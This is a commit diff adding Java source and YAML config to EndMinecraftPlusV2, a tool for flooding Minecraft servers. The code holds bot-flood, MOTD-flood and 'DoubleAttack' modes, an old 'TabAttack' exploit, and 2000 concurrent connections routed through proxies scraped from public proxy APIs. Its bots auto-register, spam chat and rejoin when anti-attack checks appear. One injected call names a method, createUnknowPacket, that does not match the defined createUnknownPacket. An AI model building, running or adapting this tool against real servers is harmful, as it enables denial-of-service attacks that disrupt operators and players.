injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket",
|
||||
"read", "{$1.readBytes($1.available());return;}");
|
||||
injectTryCatch("org.spacehq.packetlib.packet.PacketProtocol", "createIncomingPacket",
|
||||
"{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}");
|
||||
} else {
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
CtClass ctClass = classPool.getOrNull("org.spacehq.mc.protocol.data.MagicValues");
|
||||
if (ctClass == null)
|
||||
ctClass = classPool.get("org.spacehq.mc.protocol.data.game.MagicValues");
|
||||
CtMethod method1 = ctClass.getDeclaredMethod("key");
|
||||
method1.addCatch("{return null;}", classPool.get("java.lang.Exception"));
|
||||
CtMethod method2 = ctClass.getDeclaredMethod("value");
|
||||
method2.addCatch("{return null;}", classPool.get("java.lang.Exception"));
|
||||
ctClass.toClass();
|
||||
}
|
||||
return true;
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static void injectPluginMessage() throws Exception {
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
CtClass ctClass = classPool.get("org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket");
|
||||
CtMethod method = ctClass.getDeclaredMethod("read");
|
||||
method.setBody("{this.channel=$1.readString();\n"
|
||||
+ "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}");
|
||||
ctClass.toClass();
|
||||
}
|
||||
|
||||
public static void injectTryCatch(String cls, String func, String code) throws Exception {
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
CtClass ctClass = classPool.get(cls);
|
||||
CtMethod method = ctClass.getDeclaredMethod(func);
|
||||
method.addCatch(code, classPool.get("java.lang.Exception"));
|
||||
ctClass.toClass();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,141 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
|
||||
|
||||
import com.google.gson.Gson;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class MCForgeMOTD {
|
||||
public Map<String, String> pingGetModsList(String ip, int port, int version) {
|
||||
Map<String, String> modList = new HashMap<String, String>();
|
||||
Socket socket = new Socket();
|
||||
try {
|
||||
socket.connect(new InetSocketAddress(ip, port));
|
||||
if(socket.isConnected()) {
|
||||
DataOutputStream out = new DataOutputStream(socket.getOutputStream());
|
||||
|
||||
ByteArrayOutputStream packet = new ByteArrayOutputStream();
|
||||
DataOutputStream packetOut = new DataOutputStream(packet);
|
||||
|
||||
packetOut.writeByte(0); // handshake packet id
|
||||
writeVarInt(packetOut, version); // version
|
||||
writeVarInt(packetOut, ip.length()); // host length
|
||||
packetOut.writeBytes(ip); // host
|
||||
packetOut.writeShort(port); // port
|
||||
writeVarInt(packetOut, 1); // next to status
|
||||
|
||||
writeVarInt(out, packet.size()); // packet length
|
||||
out.write(packet.toByteArray()); // handshake packet
|
||||
|
||||
out.writeByte(1); // packet length
|
||||
out.writeByte(0); // status packet id
|
||||
|
||||
out.flush();
|
||||
|
||||
DataInputStream in = new DataInputStream(socket.getInputStream());
|
||||
readVarInt(in); // packet length
|
||||
int packetID = readVarInt(in);
|
||||
int dataLength = readVarInt(in);
|
||||
|
||||
if (packetID == 0 && dataLength > 0) { // Response
|
||||
byte[] responseData = new byte[dataLength];
|
||||
in.readFully(responseData);
|
||||
Response response = new Gson().fromJson(new String(responseData), Response.class);
|
||||
if (response.modinfo != null) {
|
||||
for (Response.ModInfo.ModID modid : response.modinfo.modList) {
|
||||
modList.put(modid.modid, modid.version);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
try {
|
||||
if (socket.isConnected())
|
||||
socket.close();
|
||||
} catch (IOException e1) {}
|
||||
}
|
||||
return modList;
|
||||
}
|
||||
|
||||
/**
|
||||
* @author thinkofdeath
|
||||
* See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
|
||||
*/
|
||||
public int readVarInt(DataInputStream in) throws IOException {
|
||||
int i = 0;
|
||||
int j = 0;
|
||||
while (true) {
|
||||
int k = in.readByte();
|
||||
|
||||
i |= (k & 0x7F) << j++ * 7;
|
||||
|
||||
if (j > 5)
|
||||
throw new RuntimeException("VarInt too big");
|
||||
|
||||
if ((k & 0x80) != 128)
|
||||
break;
|
||||
}
|
||||
|
||||
return i;
|
||||
}
|
||||
|
||||
/**
|
||||
* @throws IOException
|
||||
* @author thinkofdeath
|
||||
* See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
|
||||
*/
|
||||
public void writeVarInt(DataOutputStream out, int paramInt) throws IOException {
|
||||
while (true) {
|
||||
if ((paramInt & 0xFFFFFF80) == 0) {
|
||||
out.writeByte(paramInt);
|
||||
return;
|
||||
}
|
||||
|
||||
out.writeByte(paramInt & 0x7F | 0x80);
|
||||
paramInt >>>= 7;
|
||||
}
|
||||
}
|
||||
|
||||
class Response {
|
||||
public Object description;
|
||||
public Players players;
|
||||
public Version version;
|
||||
public ModInfo modinfo;
|
||||
|
||||
class Description {
|
||||
public String text;
|
||||
public String translate;
|
||||
|
||||
public String getDescription() {
|
||||
return text != null ? text : translate;
|
||||
}
|
||||
}
|
||||
|
||||
class Players {
|
||||
public int max;
|
||||
public int online;
|
||||
}
|
||||
|
||||
class Version {
|
||||
public String name;
|
||||
public int protocol;
|
||||
}
|
||||
|
||||
class ModInfo {
|
||||
public String type;
|
||||
public ModID[] modList;
|
||||
|
||||
class ModID {
|
||||
public String modid;
|
||||
public String version;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
|
||||
|
||||
import org.spacehq.packetlib.io.NetInput;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class MCForgeUtils {
|
||||
public static int readVarShort(NetInput in) throws IOException {
|
||||
int low = in.readUnsignedShort();
|
||||
int high = 0;
|
||||
if ((low & 0x8000) != 0) {
|
||||
low = low & 0x7FFF;
|
||||
high = in.readUnsignedByte();
|
||||
}
|
||||
return ((high & 0xFF) << 15) | low;
|
||||
}
|
||||
|
||||
public static UnknownPacket createUnknownPacket() {
|
||||
try {
|
||||
return UnknownPacket.class.newInstance();
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol;
|
||||
|
||||
import org.spacehq.packetlib.io.NetInput;
|
||||
import org.spacehq.packetlib.io.NetOutput;
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class UnknownPacket implements Packet {
|
||||
public boolean isPriority() {
|
||||
return false;
|
||||
}
|
||||
|
||||
public void read(NetInput in) throws IOException {
|
||||
in.readBytes(in.available());
|
||||
}
|
||||
|
||||
public void write(NetOutput out) throws IOException {
|
||||
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,159 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
import cc.summermc.bukkitYaml.file.YamlConfiguration;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
|
||||
|
||||
import javax.naming.directory.Attribute;
|
||||
import javax.naming.directory.InitialDirContext;
|
||||
import java.io.File;
|
||||
import java.util.Hashtable;
|
||||
import java.util.List;
|
||||
import java.util.Scanner;
|
||||
|
||||
public class ConfigUtil {
|
||||
public static File configFile;
|
||||
public static YamlConfiguration config;
|
||||
public static String AttackAddress;
|
||||
public static Integer AttackPort;
|
||||
public static Integer AttackMethod;
|
||||
public static Integer AttackTime;
|
||||
public static Long ConnectDelay;
|
||||
public static Integer MaxConnections;
|
||||
public static Boolean TabAttack;
|
||||
public static Boolean AntiAttackMode;
|
||||
public static String DoubleExploitPlayer;
|
||||
public static String BotName;
|
||||
public static Integer BotCount;
|
||||
public static Boolean RegisterAndLogin;
|
||||
public static List<String> RegisterCommands;
|
||||
public static Integer RejoinCount;
|
||||
public static List<String> RejoinDetect;
|
||||
public static List<String> ClickVerifiesDetect;
|
||||
public static List<String> CustomChat;
|
||||
public static Integer ChatDelay;
|
||||
public static Integer ProxyGetType;
|
||||
public static Integer ProxyUpdateTime;
|
||||
public static File ProxyFile;
|
||||
public static List<String> ProxyAPIs;
|
||||
|
||||
public void loadConfig() {
|
||||
try {
|
||||
configFile = new File("config.yml");
|
||||
|
||||
if (!configFile.exists()) {
|
||||
LogUtil.doLog(1, "载入配置文件失败! 文件不存在。", null);
|
||||
EndMinecraftPlusV2.Exit();
|
||||
}
|
||||
|
||||
config = YamlConfiguration.loadConfiguration(configFile);
|
||||
|
||||
AttackAddress = config.getString("AttackSettings.Address");
|
||||
AttackPort = config.getInt("AttackSettings.Port");
|
||||
AttackMethod = config.getInt("AttackSettings.Method");
|
||||
AttackTime = config.getInt("AttackSettings.Time");
|
||||
ConnectDelay = config.getLong("AttackSettings.ConnectDelay");
|
||||
MaxConnections = config.getInt("AttackSettings.MaxConnections");
|
||||
TabAttack = config.getBoolean("AttackSettings.TabAttack");
|
||||
AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode");
|
||||
DoubleExploitPlayer = config.getString("AttackSettings.DoubleExploitPlayer");
|
||||
BotName = config.getString("BotSettings.BotName");
|
||||
BotCount = config.getInt("BotSettings.BotCount");
|
||||
RegisterAndLogin = config.getBoolean("BotSettings.Register&Login");
|
||||
RegisterCommands = config.getStringList("BotSettings.RegisterCommands");
|
||||
RejoinCount = config.getInt("BotSettings.RejoinCount");
|
||||
RejoinDetect = config.getStringList("BotSettings.RejoinDetect");
|
||||
ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect");
|
||||
CustomChat = config.getStringList("BotSettings.CustomChat");
|
||||
ChatDelay = config.getInt("BotSettings.ChatDelay");
|
||||
ProxyGetType = config.getInt("Proxy.GetType");
|
||||
ProxyUpdateTime = config.getInt("Proxy.UpdateTime");
|
||||
ProxyFile = new File(config.getString("Proxy.File"));
|
||||
ProxyAPIs = config.getStringList("Proxy.APIs");
|
||||
|
||||
checkSRV();
|
||||
|
||||
LogUtil.doLog(0, "==============================================================", "CFGUtil");
|
||||
LogUtil.doLog(0, "服务器地址: " + AttackAddress, "CFGUtil");
|
||||
LogUtil.doLog(0, "服务器端口: " + AttackPort, "CFGUtil");
|
||||
LogUtil.doLog(0, "攻击方式: " + getAttackMethod(AttackMethod), "CFGUtil");
|
||||
LogUtil.doLog(0, "攻击时间: " + AttackTime + "秒", "CFGUtil");
|
||||
LogUtil.doLog(0, "连接间隔: " + timeToSeconds(ConnectDelay) + "秒", "CFGUtil");
|
||||
LogUtil.doLog(0, "最大连接数: " + MaxConnections + "个", "CFGUtil");
|
||||
LogUtil.doLog(0, "同时进行Tab攻击: " + booleanToStr(TabAttack), "CFGUtil");
|
||||
LogUtil.doLog(0, "AntiAttack模式: " + booleanToStr(AntiAttackMode), "CFGUtil");
|
||||
LogUtil.doLog(0, "代理类型: " + getProxyFrom(ProxyGetType), "CFGUtil");
|
||||
LogUtil.doLog(0, "代理API: " + ProxyAPIs.size() + "个", "CFGUtil");
|
||||
LogUtil.doLog(0, "代理更新间隔: " + ProxyUpdateTime + "秒", "CFGUtil");
|
||||
LogUtil.doLog(0, "==============================================================", "CFGUtil");
|
||||
LogUtil.emptyLog();
|
||||
} catch (Exception e) {
|
||||
LogUtil.emptyLog();
|
||||
LogUtil.doLog(1, "载入配置文件失败! 详细信息: " + e, null);
|
||||
EndMinecraftPlusV2.Exit();
|
||||
}
|
||||
}
|
||||
|
||||
public static String getAttackMethod(int type) {
|
||||
switch (type) {
|
||||
case 1:
|
||||
return "BotAttack";
|
||||
case 2:
|
||||
return "MotdAttack";
|
||||
case 3:
|
||||
return "MotdAttackP";
|
||||
case 4:
|
||||
return "DoubleAttack";
|
||||
default:
|
||||
return "Error";
|
||||
}
|
||||
}
|
||||
|
||||
public static String getProxyFrom(int type) {
|
||||
switch (type) {
|
||||
case 1:
|
||||
return "API";
|
||||
case 2:
|
||||
return "File";
|
||||
case 3:
|
||||
return "API + File";
|
||||
default:
|
||||
return "Error";
|
||||
}
|
||||
}
|
||||
|
||||
public static String booleanToStr(boolean type) {
|
||||
return type ? "开启" : "关闭";
|
||||
}
|
||||
|
||||
public static Double timeToSeconds(long time) {
|
||||
return (double) time / 1000;
|
||||
}
|
||||
|
||||
public static void checkSRV() {
|
||||
Hashtable<String, String> hashtable = new Hashtable<>();
|
||||
hashtable.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
|
||||
hashtable.put("java.naming.provider.url", "dns:");
|
||||
|
||||
try {
|
||||
Attribute attribute = (new InitialDirContext(hashtable))
|
||||
.getAttributes("_Minecraft._tcp." + AttackAddress,
|
||||
new String[]{"SRV"})
|
||||
.get("srv");
|
||||
if (attribute != null) {
|
||||
String[] re = attribute.get().toString().split(" ", 4);
|
||||
LogUtil.doLog(0, "=============================================================", "CheckSRV");
|
||||
LogUtil.doLog(0,"域名: " + AttackAddress, "CheckSRV");
|
||||
LogUtil.doLog(0,"源地址: " + re[3], "CheckSRV");
|
||||
LogUtil.doLog(0,"源端口: " + re[2], "CheckSRV");
|
||||
LogUtil.doLog(-1,"检测到服务器存在SRV记录,是否替换地址为SRV解析记录?[y/n]: ", "CheckSRV");
|
||||
Scanner scanner = new Scanner(System.in);
|
||||
String cmd = scanner.nextLine();
|
||||
|
||||
if (cmd.equals("y")) {
|
||||
AttackAddress = re[3];
|
||||
AttackPort = Integer.parseInt(re[2]);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,42 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
import cc.summermc.bukkitYaml.file.YamlConfiguration;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
|
||||
public class DataUtil {
|
||||
public static List<String> botRegPasswords = new ArrayList<>();
|
||||
public static HashMap<String,String> botRegPasswordsMap = new HashMap<>();
|
||||
public static File dataFile = new File("data.yml");
|
||||
|
||||
public static void loadData() {
|
||||
YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile);
|
||||
botRegPasswords = data.getStringList("Data");
|
||||
|
||||
for (String PwdData:botRegPasswords) {
|
||||
String[] aPwdData = PwdData.split("@");
|
||||
botRegPasswordsMap.put(aPwdData[0], aPwdData[1]);
|
||||
}
|
||||
}
|
||||
|
||||
public static void updateData(String name, String pwd) {
|
||||
YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile);
|
||||
List<String> datas = data.getStringList("Data");
|
||||
|
||||
String aPwdData = name + "@" + pwd;
|
||||
datas.add(aPwdData);
|
||||
data.set("Data", datas);
|
||||
botRegPasswords.add(aPwdData);
|
||||
botRegPasswordsMap.put(name, pwd);
|
||||
|
||||
try {
|
||||
data.save(dataFile);
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,38 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
|
||||
public class HTTPUtil {
|
||||
public static String sendGet(String url) {
|
||||
StringBuilder result = new StringBuilder();
|
||||
BufferedReader in = null;
|
||||
try {
|
||||
URL realUrl = new URL(url);
|
||||
URLConnection connection = realUrl.openConnection();
|
||||
connection.setRequestProperty("accept", "*/*");
|
||||
connection.setRequestProperty("connection", "Keep-Alive");
|
||||
connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
|
||||
connection.connect();
|
||||
|
||||
in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
|
||||
String line;
|
||||
while ((line = in.readLine()) != null) {
|
||||
result.append(line);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "HTTP请求出错! 详细信息: " + e.getMessage(), null);
|
||||
} finally {
|
||||
try {
|
||||
if (in != null) {
|
||||
in.close();
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "IO异常! 详细信息: " + e.getMessage(), null);
|
||||
}
|
||||
}
|
||||
return result.toString();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,34 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
public class LogUtil {
|
||||
public static void doLog(int type, String content, String extra) {
|
||||
String logType;
|
||||
String msg;
|
||||
|
||||
switch (type) {
|
||||
case 1:
|
||||
logType = "[Internal Error]";
|
||||
break;
|
||||
case 2:
|
||||
logType = "[Attack Error]";
|
||||
break;
|
||||
case 3:
|
||||
logType = "[DEBUG]";
|
||||
break;
|
||||
default:
|
||||
logType = "[" + extra + "]";
|
||||
}
|
||||
|
||||
msg = logType + " " + content;
|
||||
|
||||
if (type == -1) {
|
||||
System.out.print(msg);
|
||||
} else {
|
||||
System.out.println(msg);
|
||||
}
|
||||
}
|
||||
|
||||
public static void emptyLog() {
|
||||
System.out.println("");
|
||||
}
|
||||
}
|
|
@ -0,0 +1,62 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
import java.io.File;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Random;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
public class OtherUtils {
|
||||
public static void doSleep(long millis) {
|
||||
try {
|
||||
Thread.sleep(millis);
|
||||
} catch (InterruptedException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static Matcher matches(String str, String regex) {
|
||||
Pattern mPattern = Pattern.compile(regex);
|
||||
return mPattern.matcher(str);
|
||||
}
|
||||
|
||||
public static String getRandomString(int minLength, int maxLength) {
|
||||
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||
Random random = new Random();
|
||||
int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
for (int i = 0; i < length; ++i) {
|
||||
int number = random.nextInt(62);
|
||||
stringBuilder.append(str.charAt(number));
|
||||
}
|
||||
return stringBuilder.toString();
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public static <T> T getCo(String date, T def) {
|
||||
if (date.equals("")) {
|
||||
return def;
|
||||
}
|
||||
return (T) date;
|
||||
}
|
||||
|
||||
public static int getCo(String date, int def) {
|
||||
if (date.equals("")) {
|
||||
return def;
|
||||
}
|
||||
return Integer.parseInt(date);
|
||||
}
|
||||
|
||||
public static void loadLibrary(File file) {
|
||||
try {
|
||||
URLClassLoader cl = (URLClassLoader) ClassLoader.getSystemClassLoader();
|
||||
Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
|
||||
method.setAccessible(true);
|
||||
method.invoke(cl, file.toURL());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,77 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.FileReader;
|
||||
import java.io.IOException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.regex.Matcher;
|
||||
|
||||
public class ProxyUtil {
|
||||
public static final List<String> proxies = new ArrayList<>();
|
||||
|
||||
public static void getProxies() {
|
||||
String getMethod;
|
||||
|
||||
switch (ConfigUtil.ProxyGetType) {
|
||||
case 2:
|
||||
getMethod = "通过本地文件获取";
|
||||
getProxiesFromFile();
|
||||
break;
|
||||
case 3:
|
||||
getMethod = "通过API+本地文件获取";
|
||||
getProxiesFromFile();
|
||||
getProxiesFromAPIs();
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
getMethod = "通过API获取";
|
||||
getProxiesFromAPIs();
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "获取代理完成! (" + getMethod + " | 数量: " + proxies.size() + "个)", "ProxyUtil");
|
||||
LogUtil.emptyLog();
|
||||
}
|
||||
|
||||
public static void getProxiesFromAPIs() {
|
||||
for (String url:ConfigUtil.ProxyAPIs) {
|
||||
String ips = HTTPUtil.sendGet(url);
|
||||
|
||||
Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
|
||||
while (matcher.find()) {
|
||||
String ip = matcher.group();
|
||||
proxies.add(ip);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void getProxiesFromFile() {
|
||||
try {
|
||||
if (!ConfigUtil.ProxyFile.exists()) {
|
||||
LogUtil.doLog(1, "无法从文件读取代理! 文件不存在。", null);
|
||||
return;
|
||||
}
|
||||
|
||||
BufferedReader reader = new BufferedReader(new FileReader(ConfigUtil.ProxyFile));
|
||||
String tempString;
|
||||
while ((tempString = reader.readLine()) != null) {
|
||||
proxies.add(tempString);
|
||||
}
|
||||
|
||||
reader.close();
|
||||
} catch (IOException e) {
|
||||
LogUtil.doLog(1, "无法从文件读取代理! IO异常: " + e, null);
|
||||
}
|
||||
}
|
||||
|
||||
public static void runUpdateProxiesTask(int time) {
|
||||
new Thread(() -> {
|
||||
while (true) {
|
||||
OtherUtils.doSleep(time * 1000L);
|
||||
synchronized (proxies) {
|
||||
getProxiesFromAPIs();
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||
|
||||
import com.sun.jna.Library;
|
||||
import com.sun.jna.Native;
|
||||
import com.sun.jna.Platform;
|
||||
|
||||
public interface SetTitle extends Library {
|
||||
SetTitle INSTANCE = Native.loadLibrary((Platform.isWindows() ? "kernel32" : "c"), SetTitle.class);
|
||||
boolean SetConsoleTitleA(String title);
|
||||
}
|
|
@ -0,0 +1,58 @@
|
|||
##############################
|
||||
# EndMinecraftPlusV2 #
|
||||
# Forked by SerendipityR #
|
||||
##############################
|
||||
|
||||
AttackSettings:
|
||||
Address: "example.com"
|
||||
Port: 25565
|
||||
# 攻击方式:
|
||||
# 1 - BotAttack - 集群假人(代理)
|
||||
# 2 - MotdAttackP - MOTD压测(代理)
|
||||
# 3 - MotdAttack - MOTD压测(无代理)
|
||||
# 4 - DoubleAttack - 影分身攻击(代理,仅原版单服可用)
|
||||
Method: 1
|
||||
Time: 3600
|
||||
ConnectDelay: 250
|
||||
# 实际连接数由代理质量和机器性能有关
|
||||
# 进行无代理Motd压测时不建议大于32
|
||||
MaxConnections: 2000
|
||||
# 旧版漏洞利用,大概率无效
|
||||
TabAttack: true
|
||||
AntiAttackMode: true
|
||||
DoubleExploitPlayer: "ImOldSix_666"
|
||||
|
||||
BotSettings:
|
||||
# 可用占位符:
|
||||
# $rnd - 随机字符
|
||||
# $pwd - 随机生成密码
|
||||
BotName: "ImOldSix_$rnd"
|
||||
BotCount: 1000
|
||||
RejoinCount: 5
|
||||
RejoinDetect:
|
||||
- "AntiAttack"
|
||||
ClickVerifiesDetect:
|
||||
- "点击验证"
|
||||
Register&Login: true
|
||||
RegisterCommands:
|
||||
- "/register $pwd $pwd"
|
||||
- "/login $pwd"
|
||||
CustomChat:
|
||||
- "喵喵喵萌喵~ $rnd"
|
||||
- "喵喵喵萌~ $rnd"
|
||||
- "喵喵喵~ $rnd"
|
||||
- "喵喵~ $rnd"
|
||||
- "喵~ $rnd"
|
||||
ChatDelay: 3
|
||||
|
||||
Proxy:
|
||||
# 代理获取方式:
|
||||
# 1 - API - 从API获取
|
||||
# 2 - File - 从本地读取
|
||||
# 3 - File + API - 两种方式同时获取
|
||||
GetType: 1
|
||||
UpdateTime: 300
|
||||
File: "proxies.txt"
|
||||
APIs:
|
||||
- "http://www.66ip.cn/mo.php?tqsl=9999"
|
||||
- "https://www.89ip.cn/tqdl.html?api=1&num=9999"
|
|
@ -0,0 +1,2 @@
|
|||
Data:
|
||||
- ""
|
Loading…
Reference in New Issue